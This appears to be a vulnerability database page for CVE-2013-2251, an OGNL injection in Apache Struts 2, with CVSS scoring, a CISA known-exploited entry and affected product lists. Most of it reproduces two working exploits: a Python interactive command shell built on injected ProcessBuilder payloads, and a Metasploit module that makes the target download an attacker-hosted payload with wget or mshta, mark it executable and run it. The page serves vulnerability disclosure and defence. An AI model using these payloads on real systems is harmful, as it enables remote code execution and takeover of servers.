Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-74 |
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Apache Struts Improper Input Validation Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-03-24
23h00 +00:00
Action is due : 2022-04-14
22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48917
Publication date : 2020-10-19
22h00 +00:00
Author : Jonatas Fil
EDB Verified : No
# Exploit Title: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
# Google Dork: ext:action | filetype:action
# Date: 2020/09/09
# Exploit Author: Jonatas Fil
# Vendor Homepage: http://struts.apache.org/release/2.3.x/docs/s2-016.html
# Version: <= 2.3.15
# Tested on: Linux
# CVE : CVE-2013-2251
#!/usr/bin/python
#
# coding=utf-8
#
# Struts 2 DefaultActionMapper Exploit [S2-016]
# Interactive Shell for CVE-2013-2251
#
# The Struts 2 DefaultActionMapper supports a method for short-circuit
navigation state changes by prefixing parameters with
# "action:" or "redirect:", followed by a desired navigational target
expression. This mechanism was intended to help with
# attaching navigational information to buttons within forms.
#
# https://struts.apache.org/docs/s2-016.html
# Jonatas Fil (@exploitation)
import requests
import sys
import readline
# Disable SSL
requests.packages.urllib3.disable_warnings()
# ShellEvil
if len(sys.argv) == 2:
target = sys.argv[1] # Payload
first = target +
"?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','"
second =
"'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
loop = 1
while loop == 1:
cmd = raw_input("$ ")
while cmd.strip() == '':
cmd = raw_input("$ ")
if cmd.strip() == '\q':
print("Exiting...")
sys.exit()
try:
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"}
pwn=requests.get(first+cmd+second,headers =
headers,verify=False) # Disable SSL
if pwn.status_code == 200:
print pwn.content # 1337
else:
print("Not Vuln !")
sys.exit()
except Exception,e:
print e
print("Exiting...")
sys.exit()
else: # BANNER
print('''
__ _ _ _ __ _ _
/ _\ |__ ___| | | /__\_ _(_) |
\ \| '_ \ / _ \ | |/_\ \ \ / / | |
_\ \ | | | __/ | //__ \ V /| | |
\__/_| |_|\___|_|_\__/ \_/ |_|_|
by Jonatas Fil [@explotation]
''')
print("======================================================")
print("# Struts 2 DefaultActionMapper Exploit [S2-016] #")
print("# USO: python struts.py http://site.com:8080/xxx.action #")
print("======================================================")
print("bye")
sys.exit()
Exploit Database EDB-ID : 27135
Publication date : 2013-07-26
22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
'Description' => %q{
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
state changes by prefixing parameters with "action:" or "redirect:", followed by
a desired navigational target expression. This mechanism was intended to help with
attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
"redirectAction:" is not properly sanitized. Since said information will be
evaluated as OGNL expression against the value stack, this introduces the
possibility to inject server side code.
This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
Windows 2003 SP2 and Ubuntu 10.04 operating systems.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Takeshi Terada', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit modules
],
'References' =>
[
[ 'CVE', '2013-2251' ],
[ 'OSVDB', '95405' ],
[ 'BID', '61189' ],
[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
],
'Platform' => [ 'win', 'linux'],
'Targets' =>
[
['Automatic', {}],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => 'Jul 2 2013',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
# It isn't OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
], self.class)
end
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
@dropped_files.delete_if do |file|
false unless file =~ /\.exe/
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
wintemp = session.fs.file.expand_path("%TEMP%")
win_file = "#{wintemp}\\#{win_file}"
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end
end
end
super
end
def start_http_service
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = srv_host + ':' + datastore['SRVPORT'].to_s
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({
'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/'
}
})
datastore['SSL'] = true if ssl_restore
return service_url
end
def check
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
})
if res.nil? or res.code != 200
print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
return Exploit::CheckCode::Unknown
end
proof = rand_text_alpha(6 + rand(4))
res = send_request_cgi({
'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
'method' => 'GET'
})
if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Unknown
end
def auto_target
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
})
if res.nil? or res.code != 200
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
end
proof = rand_text_alpha(6 + rand(4))
res = send_request_cgi({
'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
'method' => 'GET'
})
if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
if res.headers['Location'] =~ /:\\/
return targets[1] # Windows
else
return targets[2] # Linux
end
end
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
end
def exploit_linux
downfile = rand_text_alpha(8+rand(8))
@pl = @exe
@pl_sent = false
#
# start HTTP service if necessary
#
service_url = start_http_service
#
# download payload
#
fname = datastore['WritableDir']
fname = "#{fname}/" unless fname =~ %r'/$'
fname << downfile
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end
#
# wait for payload download
#
wait_payload
register_file_for_cleanup(fname)
#
# chmod
#
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
print_status("#{rhost}:#{rport} - Make payload executable...")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end
#
# execute
#
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"
print_status("#{rhost}:#{rport} - Execute payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end
end
def exploit_windows
@var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
@pl = build_hta
@pl_sent = false
#
# start HTTP service if necessary
#
service_url = start_http_service
#
# execute hta
#
uri = normalize_uri(target_uri.path)
uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"
print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if res.nil? or res.code != 302
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
end
#
# wait for payload download
#
wait_payload
register_file_for_cleanup(@var_exename)
end
def exploit
if target.name =~ /Automatic/
print_status("#{rhost}:#{rport} - Target autodetection...")
my_target = auto_target
print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
else
my_target = target
end
p = exploit_regenerate_payload(my_target.platform, my_target.arch)
@exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})
if my_target.name =~ /Linux/
if datastore['PAYLOAD'] =~ /windows/
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
end
exploit_linux
elsif my_target.name =~ /Windows/
if datastore['PAYLOAD'] =~ /linux/
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
end
exploit_windows
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@pl_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
waited = 0
while (not @pl_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
def build_hta
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);
var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);
# Doing in this way to bypass the ADODB.Stream restrictions on JS,
# even when executing it as an "HTA" application
# The encoding code has been stolen from ie_unsafe_scripting.rb
print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");
# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_ary = []
# The output of this loop needs to be as small as possible since it
# gets repeated for every byte of the executable, ballooning it by a
# factor of about 80k (the current size of the exe template). In its
# current form, it's down to about 4MB on the wire
@exe.each_byte do |b|
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
end
vbs_content << vbs_ary.join("")
# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
Set #{var_strmConv} = CreateObject("ADODB.Stream")
#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2
SetLocale(#{var_origLoc})|)
hta = <<-EOS
<script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
window.close();
</script>
EOS
return hta
end
end
Products Mentioned
Configuraton 0
Apache>>Archiva >> Version From (including) 1.3 To (excluding) 1.3.8
Apache>>Archiva >> Version 1.2
Apache>>Archiva >> Version 1.2.2
Apache>>Struts >> Version From (including) 2.0.0 To (including) 2.3.15
Configuraton 0
Fujitsu>>Interstage_business_process_manager_analytics >> Version 12.0
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Redhat>>Enterprise_linux >> Version From (including) 5.0 To (including) 6.10
Configuraton 0
Fujitsu>>Interstage_business_process_manager_analytics >> Version 12.1
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2012 >> Version -
Oracle>>Solaris >> Version 11
Redhat>>Enterprise_linux >> Version From (including) 5.0 To (including) 6.10
Configuraton 0
Fujitsu>>Gp7000f_firmware >> Version -
Fujitsu>>Gp7000f >> Version -
Configuraton 0
Fujitsu>>Primepower_firmware >> Version -
Fujitsu>>Primepower >> Version -
Configuraton 0
Fujitsu>>Gp-s_firmware >> Version -
Fujitsu>>Gp-s >> Version -
Configuraton 0
Fujitsu>>Primergy_firmware >> Version -
Fujitsu>>Primergy >> Version -
Configuraton 0
Fujitsu>>Gp5000_firmware >> Version -
Fujitsu>>Gp5000 >> Version -
Configuraton 0
Fujitsu>>Sparc_firmware >> Version -
Fujitsu>>Sparc >> Version -
Configuraton 0
Oracle>>Siebel_apps_-_e-billing >> Version 6.1
Oracle>>Siebel_apps_-_e-billing >> Version 6.1.1
Oracle>>Siebel_apps_-_e-billing >> Version 6.2
References